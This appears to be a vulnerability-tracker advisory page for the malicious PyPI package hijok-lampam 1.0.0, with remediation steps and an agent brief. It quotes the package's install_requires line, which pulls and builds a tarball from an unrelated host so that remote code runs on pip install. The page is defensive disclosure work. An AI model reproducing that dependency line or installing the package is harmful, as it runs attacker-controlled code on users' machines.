Skip to content
Patch Next
Sign inAdd to your agent

← Actionable
Unratedamended

Malicious code in hijok-lampam (PyPI)

What to do

Vendor response not established. Follow the primary source's mitigation guidance and check back for a fix.

This page has no inventory attached, so it cannot say whether you are affected. A vendor fix is not proof that your deployment is fixed.

Add to your agent

Affected packages

  • PyPI hijok-lampam

    Affected
    >= 1.0.0, <= 1.0.0
    Fixed in
    no fixed version recorded

Sources

Severity and exploitation
Exploitation
No confirmed exploitation recorded. Patch Next marks exploitation only from CISA KEV.
CVSS
not scored
EPSS
No dated EPSS signal available.
Source description

As published by the source; long descriptions are shortened.

--- _-= Per source details. Do not edit below this line.=-_

Source: amazon-inspector (1617f9fa63812c564b7738c254770f05497cda2f13ed308855a86752f962655d) hijok-lampam 1.0.0 ships a 40-byte stub module and declares its only dependency via a direct URL rather than a PyPI version range: install_requires=["batch-nested-source-packet @ https://artifacts.creditslib.com/pypi/batch_nested_source_packet-1.0.0.tar.gz"]. On pip install, pip downloads the tarball at that URL and runs its setup.py as part of the build, with no version pin, no hash, and no integrity check. The host artifacts.creditslib.com is unrelated to PyPI and is not a known publisher-matched release location; whoever controls that host controls the code that executes on the installer's machine. Because the package itself is an empty stub, the manifest line is the entire published surface and the fetched remote tarball is the sole functional payload.

Source: kam193…

Dates and revisions
Published by the source
Last modified by the source
Source last checked
  1. Revision 2 · amended ·

    Amended from osv record MAL-2026-18112

  2. Revision 1 · created ·

    Published from osv record MAL-2026-18112

Agent brief

Preview the exact text before you copy it. Commands are read-only suggestions; review them before running anything.

# Patch Next advisory brief: mal-2026-18112

Advisory: Malicious code in hijok-lampam (PyPI)
IDs: mal-2026-18112
Record: https://patchnext.com/advisories/mal-2026-18112 (revision 2, source checked 4 Nov 2026, 06:20 UTC)
Inventory: none attached. This brief comes from a public page and does not say whether any deployment is affected.
Severity: Unrated
Exploitation: no confirmed exploitation recorded. Patch Next confirms exploitation only from CISA KEV.
Vendor response: Vendor response not established. A vendor fix does not mean a deployment is fixed.

## Affected components
- PyPI hijok-lampam: affected >= 1.0.0, <= 1.0.0

## Suggested inspection (read-only)
- `python -m pip show hijok-lampam`: prints the installed version. Run with the environment that serves production active.

## Supported action
No complete vendor fix is recorded. Follow the primary source's mitigation guidance and check this record again before closing anything.

## Required regression checks
- Run the test suite and a production build.
- Exercise the features that depend on hijok-lampam.
- Repeat the inspection and confirm that only fixed versions remain installed.

## Rollback considerations
- Keep the previous lockfile and deployment artifact. Rolling back reinstates the vulnerable version, so apply any documented mitigation while you fix forward.

## Unresolved questions
- Which deployments run an affected version?
- Exploitation status can change. Check again before lowering the priority.
- Mark the work resolved only after the fixed version is verified in production.

## Sources
- Verified: https://osv.dev/vulnerability/MAL-2026-18112 (OSV record MAL-2026-18112 lists affected ranges: PyPI hijok-lampam >=1.0.0 <=1.0.0)

Commands are suggestions: review each one before running it.

Loading voting…